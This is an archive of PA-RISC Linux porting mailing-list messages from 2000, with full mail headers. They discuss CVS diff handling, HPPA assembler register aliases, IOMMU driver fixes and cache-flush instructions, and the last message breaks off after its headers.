  by mailserv2.iuinc.com with SMTP; 23 Aug 2000 09:49:52 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id TAA05606;
	Wed, 23 Aug 2000 19:49:10 +1000
In-Reply-To: <200008230849.KAA01294@pallas.spacetec.no>
Xref: news.gmane.org gmane.linux.ports.parisc:7768

On Wed, 23 Aug 2000, Tor Arntsen wrote:

> Which versions of CVS are you using?  CVS used to output diffs without
> including the directory path in the --- and +++ lines, but that's been
> fixed long ago.  I don't have any problems with patch anymore.

You will if the diff contains files that exist in the root dir of your
source tree and in subdirs, eg. Makefile.in and bfd/Makefile.in

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tor@spacetec.no (Tor Arntsen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Incompatibility of PIC and non-PIC
Date: Wed, 23 Aug 2000 12:31:37 +0200
Lines: 64
Approved: news@gmane.org
Message-ID: <200008231031.MAA01982@pallas.spacetec.no>
References: <alan@linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619070 2855 80.91.229.3 (22 Nov 2014 01:17:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:50 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: tor@spacetec.no  Wed Aug 23 04:32:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA30299
	for <parisc-linux@puffin.external.hp.com>; Wed, 23 Aug 2000 04:32:03 -0600
Original-Received: (qmail 17646 invoked by uid 15267); 23 Aug 2000 10:31:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17620 invoked from network); 23 Aug 2000 10:31:54 -0000
Original-Received: from firewall.spacetec.no (HELO pallas.spacetec.no) (192.51.5.5)
  by mailserv2.iuinc.com with SMTP; 23 Aug 2000 10:31:54 -0000
Original-Received: (from tor@localhost)
	by pallas.spacetec.no (8.9.1a/8.9.1) id MAA01982;
	Wed, 23 Aug 2000 12:31:37 +0200
In-Reply-To: Alan Modra <alan@linuxcare.com.au>
       "Re: Incompatibility of PIC and non-PIC" (Aug 23, 10:49)
X-Mailer: Mail User's Shell (7.2.6 beta(4) 03/19/98)
Xref: news.gmane.org gmane.linux.ports.parisc:7769

On Aug 23, 10:49, Alan Modra wrote:
>On Wed, 23 Aug 2000, Tor Arntsen wrote:
>
>> Which versions of CVS are you using?  CVS used to output diffs without
>> including the directory path in the --- and +++ lines, but that's been
>> fixed long ago.  I don't have any problems with patch anymore.
>
>You will if the diff contains files that exist in the root dir of your
>source tree and in subdirs, eg. Makefile.in and bfd/Makefile.in

No, I do that all the time and has been doing that for almost two years
without problems.  It's true that it used to be a problem.  This is what
I'm working with at this moment:

cvs -q -n upd
M ChangeLog
M tools/ChangeLog
M tools/ts-initdir.c

cvs -q diff -u > dif

The diff looks like this:

Index: ChangeLog
===================================================================
RCS file: /cvs/cvs4/lrdpf/src/libs/lib_lrdpf_table/ChangeLog,v
retrieving revision 1.1.4.2.6.5
diff -u -r1.1.4.2.6.5 ChangeLog
--- ChangeLog   2000/04/01 16:54:01     1.1.4.2.6.5
+++ ChangeLog   2000/08/23 09:57:10
@@ -1,3 +1,73 @@
+Wed Aug 23 00:01:15 2000  tor@deneb.spacetec.no  (Tor Arntsen)
+
+       * TODO: Updated.
+
..
Index: tools/ChangeLog
===================================================================
RCS file: /cvs/cvs4/lrdpf/src/libs/lib_lrdpf_table/tools/Attic/ChangeLog,v
retrieving revision 1.1.2.1.6.2
diff -u -r1.1.2.1.6.2 ChangeLog
--- tools/ChangeLog     1999/05/25 10:54:39     1.1.2.1.6.2
+++ tools/ChangeLog     2000/08/23 09:57:10
@@ -1,3 +1,16 @@
+Wed Aug 23 00:33:48 2000  tor@deneb.spacetec.no  (Tor Arntsen)
+
+       * ts-initdir.c: Removed local copied functions get_table_dir() and
..

I now use that diff as input to patch somewhere else:
patch -p0 < dif
patching file ChangeLog
patching file tools/ChangeLog
patching file tools/ts-initdir.c

The patch is correctly applied.

The problem with older CVS versions was that it used to say just
--- ChangeLog on all the levels.  Patch could handle that, using
the Index line, however only for unique file names.  So people would
use scripts that fixed the ---/+++ lines before they applied the patch.

-Tor


From - Thu Nov 08 21:13:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kumar <kumar@ix.netcom.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] syscall work
Date: Thu, 25 Mar 1999 21:01:05 -0800 (PST)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990325205652.197B-100000@quark.ix.netcom.com>
References: <36FACD03.6446ACF4@netscape.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619070 2859 80.91.229.3 (22 Nov 2014 01:17:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:50 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: kumar@ix.netcom.com  Fri Mar 26 00:00:11 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id AAA06142
	for <hppa-linux@sod.res.cmu.edu>; Fri, 26 Mar 1999 00:00:11 -0500
Original-Received: (qmail 3477 invoked by uid 15267); 26 Mar 1999 04:58:52 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 3466 invoked from network); 26 Mar 1999 04:58:51 -0000
Original-Received: from dfw-ix7.ix.netcom.com (206.214.98.7)
  by mailserv2.iuinc.com with SMTP; 26 Mar 1999 04:58:51 -0000
Original-Received: (from smap@localhost)
          by dfw-ix7.ix.netcom.com (8.8.4/8.8.4)
	  id WAA04900 for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar 1999 22:59:27 -0600 (CST)
Original-Received: from sji-ca10-106.ix.netcom.com(205.186.214.106) by dfw-ix7.ix.netcom.com via smap (V1.3)
	id rma004880; Thu Mar 25 22:59:16 1999
In-Reply-To: <36FACD03.6446ACF4@netscape.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7770


On Thu, 25 Mar 1999, Mike Shaver wrote:

> While we're on the topic, though: why 0xC0000004 and not 0xC0000000 as
> the target address?  (Although there are other bugs, like ``ldo 5,%r22''
> instead of ``ldi 5,%r22'' in the Assembler Ref as well, so maybe this is
> another?)

It does not matter as long as the gateway instruction is on the "special"
page. Probably one wants to put a nop before the gateway instruction.

-pkd


From - Thu Nov 08 21:13:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa .reg
Date: Wed, 23 Aug 2000 20:41:02 +1000 (EST)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0008231914440.11816-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619071 2864 80.91.229.3 (22 Nov 2014 01:17:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:51 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com,
        Jeffrey A Law <law@cygnus.com>
To: binutils@sourceware.cygnus.com
Original-X-From: alan@linuxcare.com.au  Wed Aug 23 04:41:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA30481
	for <parisc-linux@puffin.external.hp.com>; Wed, 23 Aug 2000 04:41:52 -0600
Original-Received: (qmail 23216 invoked by uid 15267); 23 Aug 2000 10:41:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23183 invoked from network); 23 Aug 2000 10:41:43 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 23 Aug 2000 10:41:43 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id UAA06225;
	Wed, 23 Aug 2000 20:41:02 +1000
Xref: news.gmane.org gmane.linux.ports.parisc:7771

Hi,
   I've just spent a bit of time modifying tc-hppa.c:pa_parse_number and
sundry places where it's called to allow: 

pte: .reg %r16
 depd    pte,31,32,pte

Previously, gas would barf on lack of a `%' followed by one of the
predefined regs for any FLAG_STRICT insn like the above `depd'.

All well and good, but my patch puts these register alias symbols into
reg_section, the natural place for them to go, and this happens to kill
one of the hppa tests.  gas/testsuite/gas/hppa/parse/regpopbug.s is like
this:
 --------
        .code

r0:     .reg    %r0
shift:  .reg    %sar
fpreg10: .reg   %fr10
shift2: .reg    shift

; Make sure we didn't botch .equ...
yabba:  .equ    r0 + shift
 ---------

and adding two register symbols ain't an absolute expression for the
`.equ', so I've "botched .equ"

Now the question is, does adding two reg symbols make sense (it doesn't 
to me), or is this particular case a backwards compatibility issue?  Can 
someone tell me what the current hp assembler does with the above test?

Regards, Alan Modra
-- 
Linuxcare.  Support for the Revolution.




From - Thu Nov 08 21:13:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Incompatibility of PIC and non-PIC
Date: Wed, 23 Aug 2000 20:46:59 +1000 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0008232041400.11816-100000@front.linuxcare.com.au>
References: <200008231031.MAA01982@pallas.spacetec.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619071 2867 80.91.229.3 (22 Nov 2014 01:17:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:51 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: Tor Arntsen <tor@spacetec.no>
Original-X-From: alan@linuxcare.com.au  Wed Aug 23 04:48:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA30639
	for <parisc-linux@puffin.external.hp.com>; Wed, 23 Aug 2000 04:48:00 -0600
Original-Received: (qmail 26735 invoked by uid 15267); 23 Aug 2000 10:47:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26709 invoked from network); 23 Aug 2000 10:47:52 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 23 Aug 2000 10:47:52 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id UAA06325;
	Wed, 23 Aug 2000 20:47:02 +1000
In-Reply-To: <200008231031.MAA01982@pallas.spacetec.no>
Xref: news.gmane.org gmane.linux.ports.parisc:7772

On Wed, 23 Aug 2000, Tor Arntsen wrote:

> The problem with older CVS versions was that it used to say just
> --- ChangeLog on all the levels.  Patch could handle that, using
> the Index line, however only for unique file names.  So people would
> use scripts that fixed the ---/+++ lines before they applied the patch.

Ah Ha!  So an update of puffin cvs would be a good idea.  Provided said
update didn't trash all the old repositories...

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tor@spacetec.no (Tor Arntsen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Incompatibility of PIC and non-PIC
Date: Wed, 23 Aug 2000 13:26:55 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <200008231126.NAA02186@pallas.spacetec.no>
References: <alan@linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619071 2872 80.91.229.3 (22 Nov 2014 01:17:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:51 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: tor@spacetec.no  Wed Aug 23 05:27:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA31141
	for <parisc-linux@puffin.external.hp.com>; Wed, 23 Aug 2000 05:27:23 -0600
Original-Received: (qmail 16164 invoked by uid 15267); 23 Aug 2000 11:27:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16153 invoked from network); 23 Aug 2000 11:27:15 -0000
Original-Received: from firewall.spacetec.no (HELO pallas.spacetec.no) (192.51.5.5)
  by mailserv2.iuinc.com with SMTP; 23 Aug 2000 11:27:15 -0000
Original-Received: (from tor@localhost)
	by pallas.spacetec.no (8.9.1a/8.9.1) id NAA02186;
	Wed, 23 Aug 2000 13:26:55 +0200
In-Reply-To: Alan Modra <alan@linuxcare.com.au>
       "Re: Incompatibility of PIC and non-PIC" (Aug 23, 11:47)
X-Mailer: Mail User's Shell (7.2.6 beta(4) 03/19/98)
Xref: news.gmane.org gmane.linux.ports.parisc:7773

On Aug 23, 11:47, Alan Modra wrote:
>Ah Ha!  So an update of puffin cvs would be a good idea.  Provided said
>update didn't trash all the old repositories...

Recommended.  I'm using version 1.10.8.1 on both servers and clients
and before that I went through 1.10.6.1 and 1.10.[2-4], I believe the 
problem was fixed in one of the early 1.10.x versions.  No problems with 
the repositories, the upgrades were transparent for the users.  
Older 1.10 clients also work ok with the latest server versions, although 
I've never used the actual 1.10 -- it had its own problems that were fixed 
in 1.10.1 or .2 or so.  I'm not sure what the latest version is called but
I can recommend 1.10.8.1.  It has a few obscure bugs that most of us will
not run in to and it's as good as or better than any version before it.
And it makes good diffs :-)

-Tor
(I maintain the CVS repositories at the site where I work)


From - Thu Nov 08 21:13:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Incompatibility of PIC and non-PIC
Date: Wed, 23 Aug 2000 09:51:10 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <20000823095110.H14529@vodka.thepuffingroup.com>
References: <alan@linuxcare.com.au> <200008231126.NAA02186@pallas.spacetec.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619072 2874 80.91.229.3 (22 Nov 2014 01:17:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:52 +0000 (UTC)
Cc: Alan Modra <alan@linuxcare.com.au>, parisc-linux@thepuffingroup.com,
        parisc@lists.linuxcare.com
To: Tor Arntsen <tor@spacetec.no>
Original-X-From: willy@thepuffingroup.com  Wed Aug 23 08:56:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA32511
	for <parisc-linux@puffin.external.hp.com>; Wed, 23 Aug 2000 08:56:19 -0600
Original-Received: (qmail 30610 invoked by uid 15267); 23 Aug 2000 14:56:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30594 invoked from network); 23 Aug 2000 14:56:12 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 23 Aug 2000 14:56:12 -0000
Original-Received: (qmail 15670 invoked from network); 23 Aug 2000 14:55:39 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 23 Aug 2000 14:55:39 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id JAA21856;
	Wed, 23 Aug 2000 09:51:10 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <200008231126.NAA02186@pallas.spacetec.no>; from Tor Arntsen on Wed, Aug 23, 2000 at 01:26:55PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:7774

On Wed, Aug 23, 2000 at 01:26:55PM +0200, Tor Arntsen wrote:
> On Aug 23, 11:47, Alan Modra wrote:
> >Ah Ha!  So an update of puffin cvs would be a good idea.  Provided said
> >update didn't trash all the old repositories...
> 
> Recommended.  I'm using version 1.10.8.1 on both servers and clients

we currently have 1.10.2 on pehc.  i believe matt taggart plans to
upgrade pehc later this week.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: U2/Uturn stuff.
Date: Wed, 23 Aug 2000 09:06:51 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <200008231606.JAA11784@milano.cup.hp.com>
References: <39A3F01B.E042265D@home.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619072 2878 80.91.229.3 (22 Nov 2014 01:17:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:52 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Hudson <mhudson@home.com>
Original-X-From: grundler@cup.hp.com  Wed Aug 23 10:04:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA00808
	for <parisc-linux@puffin.external.hp.com>; Wed, 23 Aug 2000 10:04:23 -0600
Original-Received: (qmail 18951 invoked by uid 15267); 23 Aug 2000 16:04:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18941 invoked from network); 23 Aug 2000 16:04:16 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 23 Aug 2000 16:04:16 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id E43B1567F; Wed, 23 Aug 2000 09:03:47 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA11784;
	Wed, 23 Aug 2000 09:06:53 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 23 Aug 2000 10:39:07 PDT."
             <39A3F01B.E042265D@home.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7775

Matthew Hudson wrote:
> Grant Grundler wrote:
> > Non-functional since U2/Uturn code is not ready yet (I'm working on it)
> > and not documented (let's not go there again right now). And even
> > if it were ready, I need to hack in some sort of an "I/O tree"
> > in order to support more than one U2/Uturn. K-class can have
> > multiple U2/Uturns.
> 
> I've looked over the ccio-dma.c code and nothing jumps out at me
> codewise. Can you point me to any information about the IOA
> chips?

Unfortunately not. If it's not clear from the code, point me
at the specific chunk of code you don't understand and I'll
add comments to make it clearer.

> Also, do you have an inkling of an idea where the problem
> might be? I'll take a crack at it and see if I can do anything,
> no promises. :-)

Bob Pflederer has it working and I committed his one line fix
to ccio-dma.c yesterday.  I haven't tested it as my C200 is being
shipped to someone else now.

Changes to lasi LAN (82596?) and cache flushing code are also
needed to make the system usable.

thanks,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.0-test6 lack of speed
Date: Wed, 23 Aug 2000 17:23:20 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <20000823172320.E4060@linuxcare.com>
References: <20000822153803.U4060@linuxcare.com> <20000822155221.W4060@linuxcare.com> <20000822165047.X4060@linuxcare.com> <87n1i5wabx.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619072 2881 80.91.229.3 (22 Nov 2014 01:17:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:52 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: rhirst@linuxcare.com  Wed Aug 23 10:25:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA01183
	for <parisc-linux@puffin.external.hp.com>; Wed, 23 Aug 2000 10:25:00 -0600
Original-Received: (qmail 12467 invoked by uid 15267); 23 Aug 2000 16:24:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12444 invoked from network); 23 Aug 2000 16:24:43 -0000
Original-Received: from user39-39.jakinternet.co.uk (HELO rhirst.linuxcare.com) (@212.41.39.39)
  by mailserv2.iuinc.com with SMTP; 23 Aug 2000 16:24:43 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 86E31B005; Wed, 23 Aug 2000 17:23:20 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <87n1i5wabx.fsf@linuxcare.com>; from dhd@linuxcare.com on Tue, Aug 22, 2000 at 12:05:06PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7776

On Tue, Aug 22, 2000 at 12:05:06PM -0400, David Huggins-Daines wrote:
> Richard Hirst <rhirst@linuxcare.com> writes:
> 
> > We just blindly assume addresses passed to flush_page_range() are
> > kernel virtual addresses, but in this case I guess they are user
> > process virtual addresses.
> 
> Right.  I noticed that the FIC/FICE/FDC/FDCE instructions have a space
> register field.  I wonder if we should be explicitly specifying %sr3,
> since that's what we use (ahem, what we *WOULD* use if <asm/uaccess.h>
> were actually implemented) to access user space.
> 
> Are PA-RISC caches indexed with the space ID as well as the offset?
> Do we need to flush kernel virtual addresses at all?

I should have said flush_cache_range() above, not flush_page_range().

It looks to me like all calls to flush_cache_range() are passed a user
virtual address, except for those calls from arch/parisc/kernel/pci-dma.c
where we pass kernel virtual addresses.

So perhaps flush_cache_range() should generate FIC/FICE/FDC/FDCE
instructions with a space register of %sr3, and pci-dma.c should
use some other method of flushing memory.

I was looking at the difference between FDC and FDCE; it seems FDC
does address translation and FDCE does not, so should we use FDC
really?  flush_cache_range() currently uses FDCE/FICE.

Helge Deller wrote some code in drivers/net/lasi_82596.c that plays
with %sr1 and uses FDC, FIC, PDC, SYNC, and SYNCDMA.

Can someone tell me why include/asm/cache.h has no space register
specified on fdce():

> #define fdce(addr) asm volatile("fdce 0(%0)" : : "r" (addr))
> #define fice(addr) asm volatile("fice 0(%%sr1,%0)" : : "r" (addr))
> 
> #define pdtlbe(addr) asm volatile("pdtlbe 0(%%sr1,%0)" : : "r" (addr))
> #define pitlbe(addr) asm volatile("pitlbe 0(%%sr1,%0)" : : "r" (addr))


Richard

ps. as you can see, I am learning as I go here, so all hints and
clues are gratefully accepted!


From - Thu Nov 08 21:13:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.0-test6 lack of speed
Date: Wed, 23 Aug 2000 10:38:13 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <E13RdXZ-0003Lz-00@noam.fc.hp.com>
References: <20000822153803.U4060@linuxcare.com> <20000822155221.W4060@linuxcare.com> <20000822165047.X4060@linuxcare.com> <87n1i5wabx.fsf@linuxcare.com>  <20000823172320.E4060@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619073 2885 80.91.229.3 (22 Nov 2014 01:17:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:53 +0000 (UTC)
Cc: David Huggins-Daines <dhd@linuxcare.com>, parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: bame@noam.fc.hp.com  Wed Aug 23 10:38:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA01506
	for <parisc-linux@puffin.external.hp.com>; Wed, 23 Aug 2000 10:38:07 -0600
Original-Received: (qmail 29146 invoked by uid 15267); 23 Aug 2000 16:38:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29113 invoked from network); 23 Aug 2000 16:37:59 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 23 Aug 2000 16:37:59 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by cosrel1.hp.com (Postfix) with ESMTP
	id 6426D25; Wed, 23 Aug 2000 10:38:05 -0600 (MDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id KAA21802;
	Wed, 23 Aug 2000 10:37:58 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13RdXZ-0003Lz-00; Wed, 23 Aug 2000 10:38:13 -0600
In-Reply-To: Your message of "Wed, 23 Aug 2000 17:23:20 BST."
             <20000823172320.E4060@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7777


jsm explained to me that the F?CE and P?TLBE instructions should
only be used "for flushing the entire data or combined cache".
The operands of F?CE/P?TLBE are "an implementation-dependent function
of the effective address", essentially an opaque data type that
varies per processor.  The operand of F?C/P?TLB is a virtual address,
so is the right thing to use for flushing a range of addresses.

	-P


From - Thu Nov 08 21:13:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Park <apark@cdf.toronto.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] disk required?
Date: Wed, 23 Aug 2000 13:28:14 -0400 (EDT)
Lines: 9
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0008231324270.10246-100000@misty.cdf>
References: <Pine.BSO.4.21.0006281242220.12561-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619073 2889 80.91.229.3 (22 Nov 2014 01:17:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:53 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: apark@cdf.toronto.edu  Wed Aug 23 11:28:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA02291
	for <parisc-linux@puffin.external.hp.com>; Wed, 23 Aug 2000 11:28:55 -0600
Original-Received: (qmail 29337 invoked by uid 15267); 23 Aug 2000 17:28:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29328 invoked from network); 23 Aug 2000 17:28:49 -0000
Original-Received: from marvin.cdf.toronto.edu (postfix@128.100.31.3)
  by mailserv2.iuinc.com with SMTP; 23 Aug 2000 17:28:49 -0000
Original-Received: by marvin.cdf.toronto.edu (Postfix, from userid 605)
	id 6A4553C0E; Wed, 23 Aug 2000 13:28:15 -0400 (EDT)
X-Sender: apark@misty.cdf
In-Reply-To: <Pine.BSO.4.21.0006281242220.12561-100000@mojo.calyx.net>
